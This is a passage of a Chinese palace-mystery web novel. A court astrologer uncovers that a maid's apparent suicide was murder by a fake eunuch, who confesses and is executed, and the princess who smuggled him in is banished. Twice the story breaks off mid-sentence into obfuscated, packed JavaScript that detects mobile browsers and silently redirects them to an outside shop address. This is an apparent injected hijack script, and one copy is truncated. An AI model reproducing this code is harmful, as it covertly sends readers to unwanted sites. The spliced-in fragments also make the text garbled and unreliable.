敲门的人名唤小康子,是一名刚入宫半年的小太监。 入宫后,他被分到尚膳局做事。之前李令曦出事后,雪芽因人事调动,曾被临时安排到尚膳局去打下手,两人因此认识。 见了雪芽,小康子原本慌张紧绷的神色顿时和缓了不少。 “雪芽姐姐!” “我是来找曦妃——哦不,来找国师大人帮忙的,听说她还住在这里,可否请你帮我通传一下?” 雪芽让他进来等:“那你在院中稍候,我去跟大人说。” 片刻后,雪芽出来了:“你进来吧。” “谢谢雪芽姐姐!” 进屋之后,小康子连忙给李令曦跪下,行了个大礼。 “奴婢小康子,拜见国师大人。” 李令曦还是不习惯别人动不动就磕头叩首,让雪芽拿了个凳子给他。 “不必多礼,坐下说话吧。” 小康子犹豫不敢坐。 雪芽催促道:“哎呀,让你坐就坐,别磨蹭了。” 李令曦问道:“说吧,找我何事?算卦、相面、捉鬼、驱邪,还是看风水?” 小康子连忙去掏胸前的衣襟,摸出几块拇指大小的碎银。 估摸着不到二两。 小康子显得很是拘谨赧然:“回大人,奴才不算命,就是有件怪事,请您帮我看看到底是怎么回事……” 他不好意思地把手上的碎银递过去。 “实在是对不住,我知道您的规矩,但我刚入宫没多久,就只攒下了这些。请大人千万莫怪,等我以后攒了钱一定补上!” 李令曦看对方身量瘦小,个头也不高,估摸着只有十一二岁的样子,便让雪芽把钱收起来了。 她淡淡回道:“不用补了,这些就够。” “谢谢大人!” 小康子激动地起身,又要给李令曦磕头,雪芽连忙拦住了他。 “别整这些虚的了,赶快抓紧时间说正事!” “好、好……” 小康子捋捋思绪,开始说起来。 “这事儿已经发生了好几回了。我在尚膳局做事,那里除了供皇上膳食专用的大厨房之外,还有一间供我们这些下人用的小厨房。” “有天晚上,我因白天被罚禁食饿得不行,便偷偷跑到小厨房去,想弄点吃的。正当我在厨房翻找时,突然听到身后传来幽幽的叹息声……我吓得不敢回头,不一会儿,又变成了抽泣声。当时我听的真真儿的,再也不敢待在厨房,拔腿就跑!” 李令曦问道:“是女子的声音吧。” 小康子频频点头:“对对,是一个女子的声音,听起来好生凄惨。后来,我又听住在同屋的其他人说,也有两人曾遇到此事。” “我们都觉得这是太诡异了,所以就……”说着,小康子脸色忽然白了几分,小声地道:“大人,您说,我们该不会是……遇见鬼了吧?” 李令曦点头:“没错。” 什么,竟然真的是鬼!? 小康子呼吸一滞,顿觉手脚冰凉,喃喃道:“怎么办……这女鬼不会要害我们吧……” 李令曦安慰他:“你放心,一般情况下,鬼是不会随便害人的。” “那她为什么会出现在小厨房呢?” 李令曦从椅子上站起来:“走吧,带我去看看。” “是,大人!” 约摸两刻钟后,小康子带领李令曦和雪芽来到了小厨房外边,他被吓出了心理阴影,不敢进去,只站在门外。 李令曦进屋后,四处打量了一番——小厨房的空间的确不大,相当于现代的一个卧室。不过锅灶、柜子、桌子一应俱全,灶台后码着整整齐齐的柴火。 抬头望,房梁上还悬挂着一些腊鱼腊鸡和腊肉。 李令曦的目光停在了房梁的某处上,那里似乎有一些擦痕。看来,那女子最后就是在这个位置被人吊死的。 “小康子,现在还未到休息的时候,怎么杵在这儿不干活呢?”一个尖细的嗓音在门外响起。 “回刘总管,奴才不敢偷懒,奴才有事,所以特地跟小亮子调了班。”小康子毕恭毕敬地解释着。 “是吗,什么事啊?” 刘总管从窗户外瞥见小厨房里面好像有人,于是抬起脚步想进去一探究竟。 小康子连忙回道:“是近日小厨房闹鬼的事……” 刘总管略显惊讶:“闹鬼?竟有这事?”于是,他正要迈进门的脚步不由得顿了一下。 “的确是鬼。” 听见李令曦的声音,刘总管讶然地抬起拂尘:“您是……哎呀!原来是国师大人,恕下官眼拙,才认出您来。” “无碍。” 刘总管来到李令曦面前,一脸笑意地问道:“不知国师大人光临我们尚膳局,是为何事呀?” “本座受小康子之托,前来调查女鬼一事。” 李令曦抬起手,指向房梁那处擦痕:“你们看,那里应该就是女鬼生前出事的位置。” 刘总管一听真的闹鬼,喉咙紧缩,吞了吞口水,而李令曦所指之处,又让他的脑海中浮现出了一些记忆。 “我想起来了,之前确实有个小宫女在这里上吊自尽了!” 那约摸是快一年前的事。 说起这事,刘总管便刹不住话匣子了:“我记得那个宫女好像是叫琴心,当时也是在尚膳局做事。被发现的时候,就被一根绳子吊在这房梁上,那模样,别提多吓人了!” 他总管心有余悸地摸了摸自己的心口。 小康子进宫较晚,不知此事,便好奇问道:“好端端的,琴心姐姐为何要在小厨房上吊自尽呢?” 刘总管皱着眉头,拈起兰花指,语带嫌恶地说:“说起来还真是晦气。琴心的尸体被放下来之后,我们又派了个婆子去检查她的尸身。结果,发现她已有了四个多月的身孕。” 雪芽和小康子都很吃惊。 “她肚子里的孩子是谁的?” 刘总管轻轻哼了一声:“谁知道这妮子是跟哪个野男人私通怀上的!” “还不是见自己犯下如此丑事,害怕肚子显怀之后无法隐瞒,就只好自我了结了。你说她死就死吧,还偏生要选在咱们尚膳局里,这不是存心给咱家找晦气嘛!” 小康子虽然仍旧害怕,但也有些同情琴心的遭遇,他小声地道:“琴心姐姐其实也挺可怜的,要怪也不能只怪她吧……” 刘总管眼睛一瞪:“你说什么?” 小康子缩了下脖子,闭上了嘴。 雪芽也说道:“琴心自尽,想必是走投无路之举。她都已经死了,难道不应该把她那相好的给找出来吗?毕竟琴心肚里孩子的爹是他,如若不是他毫无作为,逃避责任,琴心又怎会走到这一步?” 刘总管瞥了一眼雪芽,碍于李令曦的面子不好发作,冷冷地道:“当然去找了,可关键是找不到啊。” “可出了这等丑事,谁会傻到出来承认自己与宫女私通啊。况且琴心死之前既然什么线索也没留下,就说明她想自己抗下一切,包庇这个男人。” “以咱家看哪,这不是咎由自取是什么!” 雪芽虽不赞同刘管家的话,也不好再说什么。 突然,李令曦开口了:“她不是自尽的。” “什么?” “不是自尽……” “那是?” “他杀。琴心是先被人勒死,而后凶手将其伪装成自缢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“幸好不是在咱们这儿……”一个圆脸宫女拍了拍胸口,害怕又庆幸,“不过,她到底为什么会出现呀,她不是自尽的吗?” “我听说呀……”另一个个高的宫女小心地四处探望了一下,见周围没人才又说道,“她肚里还有孩子,是一尸两命,不知胎儿父亲是谁,阎王不让她投胎,她只好回来了。昨夜她给从前的好姐妹托梦,说要带着胎儿认父呢! “这么说,她那胎儿的爹就在这宫里吗?” “这还用说嘛。不过这女鬼也没想着害人,闹出那些动静,就是想让孩子爹给她做场法事超度一下,让母子俩好去投胎。” “原来如此,也是个可怜人……” 圆脸宫女感叹了一句,突然又问:“你说,那个男人要是一直没出现,女鬼会善罢甘休吗?” “我看啊,定然不会。”个高宫女摇头,神情严肃,“你想,作为一只普通的鬼,最怕的就是不能投胎转世,若是她那相好的不肯出来,她肯定会去找他算账的!” 圆脸宫女点点头:“确实,两条人命呢,到时恐怕她的怨念积攒,会化成可怕的厉鬼……” 她浑身颤抖了一下,呼吸一滞:“太吓人了,咱们还是不说这事了,赶紧回去吧。” …… 两名宫女快步离开,渐渐没了身影。 拐角处的隐蔽角落里,一个身穿藏青色太监衣服的男子露出了脸。 16.第 16 章 这男子身形修长,肤色白皙,五官俊秀,约摸二十三四的样子。 他朝着宫女们离去的方向看去,微蹙着眉,一双漂亮的桃花眼里蕴藏着晦暗不明的情绪。 一名宫女正捧着衣物匆匆走着,不料一转弯就看见了这名男子的背影,她弯起嘴角问候道:“范侍监,您怎么在这儿?” 男子身子一僵,很快恢复正常,他回过身,挂上淡淡的微笑:“哦,走累了,在此处歇息一下。” 见他那带着笑意的桃花眼看过来,宫女不由得心跳加快,连忙低下头。 “那奴婢先去送衣服了。” “去吧。” 宫女垂着头继续走,暗暗感叹:范侍监长得可真好看,可惜了,怎么就入宫当了太监呢…… 男子向自己的房间走去,幽深的眼睛微微眯起,笑意全无。 进了屋,他伸手将脖颈处高高的衣领狠狠扯下,长出了一口气,随后躺在自己的床铺上,合眼休息。 蓦地,他睁开双眼,喃喃自语:“明日是她的忌日,难怪……” 原来……已经过去一年了啊。 他本就毫无睡意,干脆坐起身。 下了床,他走到柜子前,从最里面一层的锦盒中挑出了一枚羊脂玉佩。 将玉佩紧紧捏在手中,男子便趁着夜色出了门。 入夜,亥时。 宫内各处房屋一片漆黑,一片寂静。 偶有巡逻的队伍经过,脚步零零散散,没多久就消失了。 李令曦已算出位置,起身准备出发:“雪芽,你去通知刘总管他们,待会儿在约定的位置汇合。” “是,大人。” 一刻钟后,距离尚衣局不远处的池塘边,假山后,一个穿着黑色斗篷的身影悄悄移来。 他停下脚步,警惕地四下张望一番,随后进入假山里,拿出了事先藏在那里的一些东西,依次在地上摆好——香炉、供果、纸钱蜡烛、衣服…… 然后从怀中取出一个小小的木质牌位,摆放在香炉正后方,又点燃两根白烛,分别置于两侧,取出三根香点燃,拜了三拜后插在香炉里。 接着他开始烧纸钱,深黄色的火苗燃起,隐约照出了男人的脸,轮廓分明的脸在火光中忽明忽暗,看不清眼中情绪。 纸钱烧得差不多了,他拿起一套成色崭新的粉色衣裙,一边丢进火堆中燃烧,一边小声念叨:“琴心,我知道你最爱穿粉色,所以特地为你准备了一套新衣,用的都是上好的料子……” 烧完衣服后,他从怀中摸出那枚玉佩,犹豫了一会儿,最终还是下决定丢进了火堆。 “这块玉佩是我们的定情信物,当初我说要送给你,你不要,让我替你保管,我也给你带过来了。你拿着这些东西,到下边好好打点,早日投胎。” 他双手合十,闭上眼:“琴心,都是我做得不对,看在我们往日的情分上,还请你千万不要计较,不要来找我……” “哼!好一个不打自招、人面兽心的畜生!” 带着愤怒的尖细嗓音倏地在黑暗中响起,跪在地上的黑衣男子猛然睁开眼,一下子站了起来。 “谁?是谁在那里?!” 他本就心虚,还以为是琴心来找他了,吓得脸色煞白,声音颤抖:“琴、琴心……是你吗?” 黑暗中,几点黄色的光亮出现,刘总管的身影率先走了出来。 在他身后,则是李令曦等人,还有巡逻的侍卫。 借着灯笼的光亮,男子看清了来人,惊讶地道:“刘、刘总管……您怎么会在这儿?”他意识到不对,慌忙转身,想毁掉地上的那些东西。 机灵的小康子比他更快一步,早绕过去将其挪走了。 与此同时,李令曦上前一步,沉声下令:“来人,将这杀人凶手给本座拿下。” “是!” 两个侍卫上前,将男子擒住,制服在地。 刘总管走向他,冷冷地道:“让咱家看看,这杀人凶手到底长什么样!” 黑帽被无情地掀开,男子下意识低头躲避,小康子一把捏住其下巴,往上一抬。 “范志良,竟然是你!” 刘总管双眼陡然睁大,喊出了一个熟悉的名字。 “怎么……杀死琴心的人竟然是你?” 范侍监——范志良挤出一个笑来:“刘总管,什么杀人凶手……真是一场误会,我只是在此处给我家乡的亡父烧些纸钱罢了……” 小康子将牌位举到刘总管眼前:“他撒谎!” 刘总管一把拿过牌位,扫了一眼,又将其狠狠拍在范志良的脸上。 “为亡父烧纸?你当咱家眼瞎嘛,这上面分明写的是‘琴心之位’,你唬鬼呢你?” 范志良脸色僵硬,目光不敢直视:“我、我是见琴心姑娘可怜,所以……” “少装了。”李令曦打断他的满嘴谎话,冷冷道,“琴心的冤魂就在尚膳局小厨房,要不我现在就把她叫出来?” “不——不——”范志良害怕了,使劲摇着头,又垂下了头,无力地道,“没错,是我杀死了琴心,是我……” 刘总管眯起了眼:“为何杀人?如实招来!” 范志良瘫软在地,回忆起那日情形。 “那天……” 一年前,尚膳局。 下值之后,宫女琴心悄悄趁着月色来到小厨房内,点燃手中的蜡烛放在小餐桌上照明。 随后,她借着昏暗的烛火,开始生火烧水。 水开,下面,放入青菜、腊肉,还打入了两个荷包蛋。 门外传来响声,接着范志良走了进来。 “琴心,这么晚了,叫我来做什么?” “志良,你来啦,快坐下,我马上就好。” 琴心端起汤碗,把面放在桌上,推至范志良面前,浅浅笑着。 “志良,生辰快乐,给你做的长寿面,快趁热吃!” 范志良一愣,看着色泽诱人、香气扑鼻、热腾腾的面,恍然大悟。 “我的生辰……你不说我都忘了。” 琴心托着腮,浅笑盈盈地看着他:“我帮你记着呢。” 出锅前,琴心还加了香油,面很香,范志良一口口地吃着,最后把汤都喝完了。 琴心又拿出一个布包:“我还给你做了一双鞋,试试看舒不舒服。” “你做的,肯定舒服。”范志良摩挲着鞋,“谢谢你,琴心。” “只要你能用得上就好。” 琴心说完,低头看了看肚子,脸色有些忐忑不安,欲言又止。 见状,范志良关切地问道:“怎么了,是身体不舒服吗?” “不是,”琴心摇摇头,咬着嘴唇,轻轻说道:“志良,我……有了。” “有了?有什么了?”范志良一时未反应过来。 忽然,他面色一怔:“你是说,你怀孕了!?” 琴心观察着他的脸色,小心地问:“怎么了,志良,你好像不是很高兴……” 范志良回过神来,勉强笑了笑:“我只是太意外了,没有想到……” 他脸色忽然沉了下来,握着琴心的手,严肃地说:“琴心,你听我说。虽然很开心我们有了孩子,但是,这个孩子不能留!” “我知道……”琴心抽出自己的手,神情落寞。 一个宫女,在戒备森严的深宫里有了身孕,是绝不会有好下场的,更何况,孩子的爹还是……弄不好,三人都会没命的。 她深吸了一口气,抹去眼角的泪花:“志良,我知道孩子是不可能生下来的,我会把他打掉的。” 范志良愧疚地放低了声音:“对不起,都怪我没用……” “琴心,你打我出出气吧。”他忽然扑通一声跪在琴心面前,样子极为诚恳。 “你这是做什么,快起来!我不怪你,志良。” “琴心,让你受委屈了。”范志良趴在琴心的腿上,语带哽咽与自责。 两人久久未说话,为未出世的孩子无声哀悼。 突然,琴心感觉到自己的肚子有些动静,她惊讶地摩挲着。 “这是孩子在动,他会动了!” 第一次感受到胎动,琴心心里泛起了难以言说的情愫。 她让范志良也去摸:“志良,孩子知道我们不想要他,在跟我们说话呢。” 强烈的母爱翻涌,让琴心产生了不舍:“我们这样做是不是太残忍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981708|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 范志良猛地站起来,脸色一下变了:“琴心,你胡说些什么呢?这个孩子,无论如何不能要!” 他压低了嗓音吼道:“难道你想把我们俩个都害死吗!?” 琴心的眼泪流了出来:“我知道……可我在想,要不、要不我们不要急着打掉他,说不定会有其他办法……” 范志良直接打断,眼神狠厉决绝:“不行!必须立刻打掉!你马上就要显怀了,到时被别人发现,我们俩个就是死路一条!” 琴心无措地擦着眼泪,伤心低语:“我明白……我会打掉的……等过几日得闲了,我就去找人拿些打胎的药。” 她将桌上的碗筷收拾好,转身去往灶台。 范志良盯着她的背影,一双含情的桃花眼里划过一丝寒芒,宛如淬着毒的冷箭。 “不行,这个女人优柔寡断,留着迟早会坏我的事,一旦东窗事发,不仅难逃一死,我的身份暴露,定会牵扯……” 为绝后患,只能将其除掉! 范志良将那双做工精细,纳了好几层棉布底的鞋子轻轻放在桌子上,缓缓向琴心走去。 一边走,一边不动声色地将自己的腰带扯了下来,绕在手上。 琴心,别怪我心狠…… 要怪,就怪这个孩子,他不该投生到你肚子里! 琴心正背对着范志良洗碗,眼泪落在了锅里,眨眼就不见了。 忽然,身后原本昏黄的光线被人影挡住了。琴心抬手擦去泪水:“志良,你先回去吧,这里我来——” 眼前忽而一道黑影闪过,脖子猝然一紧……呼吸突然被切断,强烈的窒息感袭来。 “呃……救……” 琴心用尽全身的力气,伸出双手抓住勒住自己脖子的带状物,艰难地挤出声音呼救。 范志良双唇紧闭,双眼嗜血般地发红,阴狠冰冷。他狠狠一咬牙,手中力道又加了重几分。 没多久,琴心慢慢停止了挣扎,双手无力地垂下,彻底没了呼吸。 范志良的胸膛剧烈地起伏着,额上冒出了汗珠,他大口大口喘着粗气,随着琴心倒下,他也站不住了。 平复心绪的同时,范志良在脑海中迅速盘算着,该如何善后。 他缓缓站起身,抽回自己的腰带,仔细地抚平上面的褶皱,系回腰间。 接着他拿来烛火,四处翻找,找到了一根较粗的麻绳,将整个现场布置成了上吊自尽的样子。 一切布置妥当后,范志良又将那双鞋扔进了灶膛,用余下的灶火将其烧成了灰烬。 确保现场没留下任何他的痕迹,他最后看了一眼房梁上的琴心,转身关门离开了。 ———————— “就是这样,我杀了琴心和她肚子里的孩子……”范志良跪在地上,慢慢垂下了头。 小康子在一旁听得面露怒色,忍不住骂道:“你也太不是东西了,竟然下这样的毒手!” 雪芽也听得血气翻涌,悲愤不已,她指着范志良斥道:“琴心都已经答应了你要打掉孩子,你为什么还要杀了她,你这种自私自利的小人,真是罔顾了她对你的一片真情!” 范志良抬起头,辩驳道:“我承认,我的确有做得不对的地方,但是琴心她难道就没有错吗?” 李令曦居高临下地睨了他一眼:“她是有错,错在不该一开始就听信你这个披着一张人皮的畜生的花言巧语,还以为你是真心爱她,对她好,让她在这深宫里有了依靠。” “若不是你仗着自己有一副好皮囊,处处引诱哄骗,假装深情,她又怎会交出自己的心?” “我引诱哄骗……哈哈哈哈……”范志良突然大笑了几声,语气中满是不屑和自傲,“那是她自己寂寞,禁不起诱惑,那晚……是她自己主动献身于我!是她勾引的我,看我升了官,她就主动爬上我的床,脱下衣服求我怜惜……” 范志良:“她就是个生性浪荡,爱攀高枝的女人,没有我,她迟早也会爬上其他男人的床!” 李令曦眸色骤然一冷,大跨步走向范志良,狠狠抽了他一巴掌。 “啪!” 十分清脆悦耳。 “狗东西,说你是畜生都抬举你了。” 17.第 17 章 “区区六品侍监,算个狗屁的高枝?” “当晚,是你借庆祝自己升为六品侍监的名头,约琴心一起喝酒,提前在酒里下了药。” “事后,你害怕琴心会怀孕,每次都让她喝避子药,却从不顾这药对她的身体会造成多大的伤害。” “还有这避子药,除了琴心,还有六个宫女都被你喂过。” 雪芽突然瞪大了双眼,简直不敢相信自己听到了什么。 六个,加上琴心,一共七个……也就是说,在这宫里,一共有七个宫女都跟范志良发生过关系! 她不可置信地盯着范志良的脸,心里涌起恶心、恐惧、愤怒等种种情绪:“你真是……真是太不要脸了!” “竟然害了这么多人,你个混蛋!”小康子咬着牙,抡起拳头捶打范着志良。 “害人?”范志良勾起一抹讥讽的笑,“这些庸脂俗粉,本官能看上她们,是她们的福分,本官这样年轻貌美,伺候本官更是她们的荣幸。一个个都是下等女人,还妄图生下本官的孩子?” “幸好她们都还算识相,乖乖喝了药。” “只有这个琴心……”他的语气变了,面目也狰狞起来,“不识抬举,每次都嫌药苦,磨磨蹭蹭不肯一口喝完。” “她肚子里的贱种,想必就是她使的手段才怀上的。一个末等宫女,好深的心机,以为怀了孩子就可以拿捏本官,想得美!” “贱种也敢威胁本官,这种女人不杀了她留着还有——” “呃……”话语突然中断,范志良吃痛地闷哼了一声。 原来是李令曦一脚踹在了他身上:“卑劣无耻、大言不惭、狂妄自大、狗仗人势、作恶多端的人渣,死到临头还不知悔改,再敢叫嚣让你十八层地狱挨个走一遍!” 张口闭口“本官”,区区一个从六品的侍监,还真当自己是大人物了。 李令曦对小康子说道:“袜子脱下来,将他的嘴给我堵严实了。” 这种败类,让他说话就是对别人的不敬,听他说话就是对自己的折磨。 还是堵上为好。 小康子年轻多动,白天又跑了许多路,袜子已经成了生化武器。 见那汗渍斑斑,散发味道的一团袜子靠近,范志良抗拒地骂道:“你个无品无级的小太监,竟敢对本官……唔唔……” “闭嘴吧你!”小康子狠狠一塞,顿时安静了许多。 刘总管一直在一旁站着,将范志良的一言一行尽收眼底。 再加上李令曦的话,今晚接受的信息着实有点多,让他一时难以接受,默默地消化着。 杀人、引诱、怀孕、避子药、七个宫女…… 突然,脑海中一直隐隐跳动的那根线清晰了,他终于问出了关键的问题:“范志良,他不是个太监吗?怎么能……”和多个宫女苟合,还让她们怀孕呢? 刘总管悄摸地瞅了一眼自己身下,百思不得其解。 李令曦轻描淡写地道出了令他震骇的一句话:“他是个假太监。” 刘总管惊得五官都差点挪位了,本就尖细的嗓音像水烧开了般,不受控制地啸叫道:“假太监?!” 周围的人也都露出难以置信的神色。 一片哗然。 “宫里怎么会有假太监呢?” “不能吧……” 李令曦让侍卫把范志良拉起来,说道:“是真或假,一验不就知道了。” 范志良忽然看向李令曦,眼神狠厉,发了疯般地要冲向她,像只要咬人的恶犬。 “老实点!” 侍卫紧紧拉着范志良,不客气地打了他几下。 一个侍卫拉下了范志良的衣领,脖子上男性特征明显的凸起顿时露了出来—— “大人,他果然有喉结!” 刘总管狠狠将拂尘甩到身后,一步步逼近范志良:“来人啊,给咱家把他的裤子扒下来!” “唔——唔——”范志良挣扎不得,露出了绝望和屈辱的表情。 “是!” 两个侍卫略带嫌弃地去扒范志良的裤子。 雪芽连忙闭上眼睛,转身走得远远的。 李令曦也转了个身,怕污了眼睛。 身后传来刘总管暴跳如雷的声音:“好啊,你小子还真是个假太监!怪不得到处留情,敢情你是进宫来采花了啊?” “你个小白脸,不好好在宫外待着,还敢跑进宫来,找死是吧!?” 刘总管逮着就是一通骂。 骂完之后,现场又陷入了一片寂静。 在等级制度森严的皇宫,私通、杀人的确是恶行,遭人唾弃,死路一条。 但若是太监身份造假,则是更严重的罪行,轻则处以极刑,重则诛灭全家。 因为,除了等级森严,更重要的是——皇权至上。 作为统治者,皇宫的主人,天下的主人,必须确保皇室血脉纯正。一旦假太监与宫里的妃嫔私通,有了后代,将会引发整个朝堂的震荡。 在前朝的历史中,就发生过几起假太监进宫而引发的著名事件。 刘总管和侍卫们都沉默了,他们心中都十分清楚,范志良一事已不再是一起普通的杀人事件。 在场的人里,巡逻侍卫是八品,雪芽是一等宫女(七品),刘总管是五品,都不够级别。 只有大国师李令曦,虽无固定品阶,但手握金牌,享有高级别的荣誉和权力,能管得了这事。 于是刘总管便恭敬地向李令曦一拱手:“国师大人,此人所犯之事事关重大,还请大人莫辞辛劳,及时禀告圣上!” “分内之事。” 李令曦下令道:“来人,将此犯绑起来,着两名侍卫看押,明日一早,随本座一同去见皇上。” “是!” “唔……唔……”范志良拼命摇着头,眼里充斥着愤恨与不甘。 ———— 第二日,辰时。 金銮殿。 萧旭上完早朝,正想歇会,就听见门外传来通报:“大国师求见!” “进。” 李令曦阔步走来,“咚”的一声将范志良仍在地上。 萧旭的眼睛从地上那个被捆得结结实实的男子,移到李令曦脸上。 “这是……什么情况?” “该男名为范志良,两年前假冒太监进宫,现为尚衣局侍监。在此期间多次诱骗宫女与其发生关系,并致其中一名宫女琴心怀孕,之后因害怕事情败露,残忍将琴心勒死,并伪装成自杀。” 李令曦一口气说完范志良的罪状,又拿出一张写得密密麻麻的纸,向萧旭展开:“以上所述均已由犯人本人画押签字。” “竟有这等事?” 他命令身边的内侍:“速将口供拿予朕看。” 浏览完之后,萧旭勃然大怒,浓眉倒竖,指着范志良:“真是胆大包天,竟让你这个真男人进了后宫当太监,还如此不知廉耻,与宫女私通,该当何罪!” 七个宫女! 想他萧旭,贵为一国之君,九五之尊,后宫佳丽总共也不过十五人。 一个无名之徒,不过就是有些姿色罢了,竟能顶着假太监的名义,勾搭上这么多女人。 真是岂有此理! 极度愤怒之余,萧旭还有一丝后怕。 前朝时,就曾有男子假冒太监入宫, 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萧旭不予理会,沉着脸道:“来人!将此人押至午门,处以车裂——” 范志良骤然睁大双眼,惊慌失措:“是公主——皇上,是福荣公主让我进宫的!” 萧旭眯起眼眸,眼底掠过一丝暗光:“污蔑公主,乃大不敬,罪加一等……” 范志良不管不顾地喊道:“千真万确,小的在宫外结识了公主,公主喜我相貌,想让我入宫陪伴,于是就想出了假扮太监的法子。” “公主派人,提前跟负责净身和核验的相关人员都打点好了,这才顺利通过。皇上可以去找这些人对质,他们可以证明。” 眼见性命不保,范志良再不敢有所隐瞒,一股脑儿地全说了出来。 萧旭沉默了片刻。 事情牵扯到了公主,事关皇室颜面…… 范志良见皇上不说话,以为他不信,着急地继续道:“小的绝没那个胆子欺瞒陛下,实乃公主逼迫,小的不得不从啊!” “自入宫以来,公主就将小的安排在尚衣局,时常借送衣物的机会让小的前去服侍。” 为证明自己所言为实,范志良此刻什么也顾不上了,他心里清楚,自己这条命今天是留不住了,可他不甘心独自上黄泉路,他要让与此事有关的人全都显形。 要死都一起死! 就算不死,也得掉层皮。 他扯了扯疼痛未消的嘴角,眼神阴郁地抬起头:“公主殿下的腰后侧有一颗红痣,有时高兴了,还让我和另外一个男人同时……” “闭嘴!” 萧旭又气又急地冲下台阶,脖子都涨红了:“来人,把此贼的嘴给朕堵上!” 自己妹妹福荣的性子,萧旭是知道的。 她娇纵跋扈,生性风流,喜好男色,在宫里若有看上的侍卫就收入囊中,还时常偷偷出宫去寻新鲜面孔。 虽说私生活确实有些奢靡混乱,但此等皇家秘闻,当众被这个小白脸说出,有损皇室颜面和尊严,岂能容忍! 萧旭沉声下令:“将此等欺君罔上、通奸杀人的逆贼押质午门处死,立即执行,不得延误!” 范志良被像个毫无灵魂的木偶般,任由侍卫拽起,眼神空洞绝望地看着前方。 刚走没多久,芙蓉公主就闻讯而来。 她身着华贵服饰,头戴金钗步摇,妆容精致,一张俏丽的脸有些不悦,径直走到萧旭面前。 “皇兄,听说你把范郎抓起来了,他现在在哪里?” 18.第 18 章 因担心自己的情郎,福荣的语气不免着急,带了些质问的意味。 萧旭也很不悦,冷哼了一声:“你还有脸来问朕?” “为何不能?我与范郎相处日久,感情甚好,皇兄怎么也不同我说一声就把人给抓了?” “朕不仅抓了他,还把他杀了。” “什么,范郎死了!?” 福荣登时变了脸色,瞪大了眼睛望着萧旭:“皇兄你怎么能……” “像他这样的恶贼,朕为何不能杀?”萧旭将罪状口供扔到福荣脸上,冷冷地道:“你自己好好看看吧。通奸、杀人、欺君、妄图秽乱后宫……朕杀他十次都不够!” 看了那罪状书的内容,福荣的脸色更加难看了:“范郎不是本宫的人吗,怎会背着本宫与那些低贱的宫女勾搭,还怀了孩子?” 自己贵为公主,看上的男人竟背叛她…… 福荣顿觉像吞了苍蝇般恶心。 他不干净了。 还飘了。 “枉费本宫为他做了那么多……若不是本宫,他怎么可能在这么短的时间就升为六品侍监?仗着本宫的势,还敢背着本宫乱搞,如此狼心狗肺、不知好歹的家伙,算本宫瞎了眼了!” 刚才的担忧心疼,立马转为了熊熊怒火。 福荣高昂着头颅,张扬地笑了起来:“哈哈哈哈哈——死得好,死得好!” 就算皇兄不杀他,自己也不会让他好过的。 萧旭拧着眉,声音平淡而又冷峻地唤道:“福荣。” “啊?”福荣停下来,看向萧旭,“皇兄唤我何事?” 萧旭盯着她的眼睛,语重心长地道:“范志良的确罪有应得,此事事关重大,影响恶劣。这欺君之罪,你——也有份!” “若不是你看上了范志良,非要将他弄进宫来,就不会有后面这些事。后宫之中,出现了假太监,后果会有多严重,你难道没有想过吗!?” 福荣嗫嚅着嘴唇,还有些不服气:“皇兄,我不过就是多找了几个男人嘛,你还不是有那么多女人……” 萧旭闭了闭眼睛,强压下心中的怒火。 “看来,平日里朕和母后的确是对你太娇惯了,才让你养成了这般不知天高地厚的性子。” “你还是没有意识到自己的错误。若不让你长点教训,今后还不知会犯下什么祸事!” 萧旭深吸了口气,下定了决心:“传朕旨意——福荣公主性情骄纵,为一己私欲,徇私枉法,欺君罔上,险些酿成大祸。” “事发之后,仍不知悔改。为督促公主修心养性,改过自新,特将其送入净心庵带发修行半年,若无旨意,不得私自回宫,明日起执行!” 福荣立马慌了,向来倔强骄纵的她哪里受得了这种委屈,她冲萧旭喊道:“皇兄,我可是你妹妹,是大兴的公主,你怎能让我去庵里去当姑子,我不要!” 萧旭的脸又阴沉了几分:“净心庵乃太祖之妻敬慈皇后晚年清修之处,历史悠久,环境清幽。若你再这么无理取闹,不服旨意,朕就将你送到京城外去!” 看着萧旭不容分说的严肃面容,福荣只得咽下心中的不甘委屈,怏怏地转身向门外走去。 事已解决,李令曦也准备回去了。 感觉到自己身后有人,福荣回头看,见是李令曦,她不由地皱起了眉头。 这个从前就对皇兄不冷不热的女子,从冷宫出来后,竟摇身一变成了大国师。 这清高孤傲的性子比起过去有增无减,看谁都面无表情,一副“生人勿近”的模样。 她停下脚步,昂起头问道:“就是你把范郎揭发出来的吧?” “嗯。” 福荣眯起了眼:“所以,本宫落得如此地步,也是你害的了?” 李令曦摇摇头:“非也。所谓因果轮回,报应不爽。由果溯因,一切都是公主自己造成的,就算本座不揭发,也难逃恶果。公主贵为皇室之女,知书达理,想必不会连这点儿道理都不明白吧。” “你——” 福荣气得捏紧了拳头,正欲发作,想起方才萧旭的话,又止住了。 “哼,李令曦,本宫不过是暂时出宫,你等着瞧!” 李令曦并未回应,径直越过福荣向前走去。 走了几步,她忽然停下了,回头嫣然一笑。 “对了公主,本座今日心情不错,免费把我算到的都告诉你好了。” “你算到的……什么意思?” 福荣总觉得,笑着的李令曦好像更讨厌了。 “你的那个范郎啊,可不光是与宫女有染。” “他可是男女通吃的。” 一听这话,福荣登时冲到了李令曦面前,追问道:“你这是什么意思,给本宫说清楚!” 在游船上见到时,范郎不是说他家境贫寒,无力支撑他继续读书,迫于生计才去学琴卖艺的嘛。 什么男女通吃…… “范志良从小母亲去世,父亲娶了继母后又不管他,长到十五岁时,被一位富家公子看上,借书童的名义带进府中,实为公子的娈童。” 